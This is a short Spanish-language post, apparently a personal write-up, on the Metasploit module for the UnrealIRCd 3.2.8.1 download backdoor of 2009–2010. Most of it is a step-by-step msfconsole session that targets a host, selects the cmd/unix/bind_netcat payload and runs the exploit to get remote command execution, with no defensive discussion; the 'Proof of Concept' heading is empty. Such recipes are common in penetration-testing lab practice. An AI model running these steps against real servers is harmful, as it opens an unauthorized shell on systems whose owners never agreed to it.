UnrealIRCD 3.2.8.1 Backdoor Command Execution
Este módulo explota una puerta trasera que se agregó al archivo de descarga de Unreal IRCD 3.2.8.1. Esta puerta trasera estaba presente en el archivo Unreal3.2.8.1.tar.gz entre noviembre de 2009 y 12 de junio de 2010.
Forma de uso
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > show options
...show options
msf exploit(unreal_ircd_3281_backdoor) > set RHOST <rhost-id>
msf exploit(unreal_ircd_3281_backdoor) > show payloads
msf exploit(unreal_ircd_3281_backdoor) > set PAYLOADS cmd/unix/bind_netcat
msf exploit(unreal_ircd_3281_backdoor) > exploit
...now wait
Proof of Concept
Atentamente,
0xZANUT. (https://www.twitter.com/0xZANUT)